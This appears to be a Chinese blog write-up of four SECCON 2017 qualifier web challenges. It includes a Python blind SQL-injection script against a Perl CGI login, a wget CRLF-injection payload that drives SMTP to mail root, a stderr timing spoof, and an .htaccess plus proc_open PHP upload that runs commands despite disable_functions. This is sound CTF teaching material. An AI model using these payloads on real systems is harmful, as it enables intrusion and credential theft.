Skip to content

SECCON 2017 QUAL WEB WRITEUP

Posted in 未分类

SECCON 2017 Web Write Up

Log Search

http://logsearch.pwn.seccon.jp/logsearch.php

进入后有个 Search,看 input 框内的提示,似乎传过去是 Request.path ,查看文档,发现 URI Search 一说。

https://www.elastic.co/guide/en/elasticsearch/reference/5.5/search-uri-request.html

那就构造一个查询,request 中包含 flag,response 中包含 200即可。

即:

request:flag AND response:200

然而比赛的时候比较戏剧性,刷新页面看到实时被访问的结果,发现一个 .txt 的 response 为 200,直接访问就拿到了。

SqlSRF

看标题很容易联想到 SSRF。题目所给的接口为 CGI,提供了登录部分的源代码,先做代码审计。

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

是 perl 写的 CGI。在这里存在一个很明显的 SQL 注入。

my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';")

但是取出来的 password 是加密过的,然而我们并不知道加密方式,加密函数是从 htcrypt 这个自定义的 perl 文件中引入的。但是没有关系,我们注意到这里。

($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)

一旦我们勾选了记住我,就会把我们的用户名加密存入 Cookie 当中返回给我们,这样我们就可以构造任意加密结果,union select 后即可成功登录。结果登录后发现只能看 netstat,另一个功能是 wget,应该就是要我们做 SSRF,但是 wget 的功能只有 admin 才能干,得,还是得得到 admin 的密码才行。 SQLite 盲注没尝试过,不过原理应该也差不多,想到一种方案,就是先构造加密结果,然后构造用户名为

admin' union select 'xxxxx

其中 xxx 就是我们构造好的加密内容,我们把 pass 字段填上用来构造的明文密码。这样的话就可以使用 like 语句逐字节盲注。

admin' and password like '{here}%' union select 'xxx

只要确保加密后的结果的第一个字节在 admin 的密码加密后的结果的第一个字节即可。在这里我随便试了一下找到了个字符串,加密后第一个自己为 e。那么盲注条件就显而易见

admin' and password like 'a%' union select 'exxxxx 为假,返回一条记录,也就是我们 union 进去的记录,登录成功
admin' and password like 'b%' union select 'exxxxx 为真,返回两条记录, admin 的密码加密后的结果排在第一条,与我们传入的密码加密后的结果对比失败,登录失败。

那么一个字节一个字节判断下去即可。附上注入脚本。

from requests import post

url = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi"

data = "user=' or password like '{}%' union select 'e6ba84b07b35c4a01e6343afdc461095&pass=as&login=Login&save=1"

dic = "abcdef0123456789"
password = "d"

for i in range(0, 64):
    for j in dic:
        data = "user=' or password like '{}%' union select 'e6ba84b07b35c4a01e6343afdc461095&pass=as&login=Login&save=1"
        data = data.format(password + j)
        res = post(url, data=data)
        # print data
        if 'Error!' in res.content:
            password += j
            print password
            break

最后发现,b 开头与 d 开头各一个,有两个用户,得到两条密码加密后的结果,放到 cookie 里即可得到解密结果。

b8e32e6d23001fad5585258ba815e424f86eb0f42e8d0e9688dfb1293ee5e9ec User1Password!!?
d2f37e101c0e76bcc90b5634a5510f64 Yes!Kusomon!!

第二条是 admin 的密码,登录可用 wget 功能,进入 SSRF 的步骤,题目提示我们要给 root 发送一个邮件,想到今年年初时就有人报的 wget header injection,即 CVE-2017-6508 ,wget 了一下 25 端口,随便发送了 HELO 的测试信息,得到了该域的 name 为ymzk01.pwn,则给 root@ymzk01.pwn 发邮件,需要构造如下的包。

HELO ymzk01.pwn
MAIL FROM: <xxx@gmail.com>
RCPT TO: <root@ymzk01.pwn>
DATA
Subject: give me flag
.

邮件部分二次编码,接入到后面,构造最终 payload 为。

127.0.0.1+%250D%250AHELO+ymzk01%252epwn%250D%250AMAIL+FROM%253a+%253cxxx%2540gmail%252ecom%253e%250D%250ARCPT+TO%253a+%253croot%2540ymzk01%252epwn%253e%250D%250ADATA%250D%250ASubject%253a+give+me+flag%250D%250A%252e%250d%250a%3a25/

即可收到一封有 flag 的邮件。

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

同样放到 cookie 中执行登录流程即可得到解密结果。

Theory of Relativity

诶,大物挂过,惭愧。

本题给了所有代码,其题目描述如下。

Here is a bytecode interpreter. It executes your program and shows the output. In fact, I prepared this to run an event named "slowest program wins!" A program with longest elapsed time wins a gift. That's all.

There's a timeout (14s maybe?). However, if your program executes longer than **100 seconds**, you win the flag!

而代码中是如何描述的呢。

cmd = 'bash -c "time timeout 20 python %s %s" 1>%s 2>%s' % (interpreter, script_path, tmp, tmp2)
os.system(cmd)

with open(tmp, 'r') as f:
  output = f.read()

  with open(tmp2, 'r') as f:
    times = f.read()

    os.system('rm -f %s %s %s' % (tmp, tmp2, script_path))

    t = parse_time(times)
    output += '\n==STDERR==\n' + times + '\nTime: ' + str(t)
    if t >= 100:
      return output + '\nCongratulations! Here is your flag: ' + FLAG

    return output

应该不是让我们想方设法绕过 timeout 的限制,因为 timeout 所发送的 TERM signal,只有在程序捕获该信号并忽略掉之后才能绕过,而这里却是一个 web 题目,思路应该更倾向于 cheat。

而 parse_time 函数只是在 stderr 中寻找程序的运行时间,那么只要能在 stderr 中插入单独的一行,其中包含我们构造好的时间信息就行了。

一开始都在 python 中想办法,后来才发现, python 中的错误信息跟对象的 __repr__ 属性有关,而这里并没有我们能自定义的 python 代码,因此应该集中精力在 nodejs 的报错信息中。当注意力转移到 nodejs 中后,我就把精力集中在了指令的使用上,很快发现 mul 指令如果让两个操作数都为字符串的话,就会把指令内容代入错误信息,并且,指令内容中的操作数,经过了 interpreter.py 中 parse_args 函数的转化,即下面的代码

def parse_args(args):
    if args is not None:
        args = REGS.sub(r"'\1'", args)
        args = args.strip()
        try:
            if args:
                args = ast.literal_eval(args)
        except:
            raise Exception('Invalid arguments: %s' % orig)
        if op not in handler:
            raise Exception('Unknown opcode: %s' % op)
        if type(args)is not tuple:
            args = args,
    else:
        args = ()
    return args

其中literal_eval 会把字符串做二次解析,即有如下效果。

ast.literal_eval("('1','2\\n')")

会返回

('1', '2\n')

成功代入了换行符,那么就可以在 nodejs 的错误信息中插入单独的一行,构造指令如下。

ls r1,"\nuser\t0m1000.020s\n"
mul r1,r1,r2
exit

服务器返回

Interpreter Version 1.0

==STDERR==
fatal error: '
user    0m1000.020s
' * None: str * imm is only allowed for string multiplication
===REGISTERS===
r01: 0x50bf58, type: 3
===FRAMES===
#0 (0x0x507f00): <root>

real    0m1.914s
user    0m1.784s
sys 0m0.116s

Time: 1000.02
Congratulations! Here is your flag: SECCON{lul_that_was_cheating}

Good Job.

automatic_door

送分审计题。

<?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);

function read_ok($f)
{
    return strstr($f, 'FAIL_') === FALSE &&
        strstr($f, '/proc/') === FALSE &&
        strstr($f, '/dev/') === FALSE;
}

function write_ok($f)
{
    return strstr($f, '..') === FALSE && read_ok($f);
}

function GetDirectorySize($path)
{
    $bytestotal = 0;
    $path = realpath($path);
    if ($path !== false && $path != '' && file_exists($path)) {
        foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
            $bytestotal += $object->getSize();
        }
    }
    return $bytestotal;
}

if (isset($_GET['action'])) {
    if ($_GET['action'] == 'pwd') {
        echo $d;

        exit;
    }
    else if ($_GET['action'] == 'phpinfo') {
        phpinfo();

        exit;
    }
    else if ($_GET['action'] == 'read') {
        $f = $_GET['filename'];
        if (read_ok($f))
            echo file_get_contents($d . $f);
        else
            echo $fail;

        exit;
    } else if ($_GET['action'] == 'write') {
        $f = $_GET['filename'];
        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
            print_r($_FILES['file']);
            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
        }
        else
            echo $fail;

        if (GetDirectorySize($d) > 10000) {
            rmdir($d);
        }

        exit;
    } else if ($_GET['action'] == 'delete') {
        $f = $_GET['filename'];
        if (write_ok($f))
            print_r(unlink($d . $f));
        else
            echo $fail;

        exit;
    }
}

highlight_file(__FILE__);

有几个 action,分别是 pwd,read,write,delete,phpinfo。pwd 可以看当前 ip 的用户目录,read、write、delete 则对应着对文件的读写删除操作,phpinfo 则可以看当前的 phpinfo() 喽。

先读一下 /etc/apache2/apache2.conf 看一下 apache 的配置。

注意到 web 目录的配置。

<Directory /var/www/>
    Options Indexes FollowSymLinks
    AllowOverride All
    Require all granted
</Directory>

AllowOverride All 则会将当前目录下的 .htaccess 文件读入,覆盖默认设置,那就很容易了。先上传一个 .htaccess 文件。

<FilesMatch "melody">
SetHandler application/x-httpd-php
</FilesMatch>

那么文件名匹配到 melody 的则会交由 php handler 执行。

接着就可以任意执行 php 代码了,先看看 disable_function,禁用了大部分能执行命令的函数,然而漏掉了 proc_open 函数,所以可以直接执行命令。

最后传的文件。

<?php
$proc=proc_open("/flag_x",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

得到 flag。

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *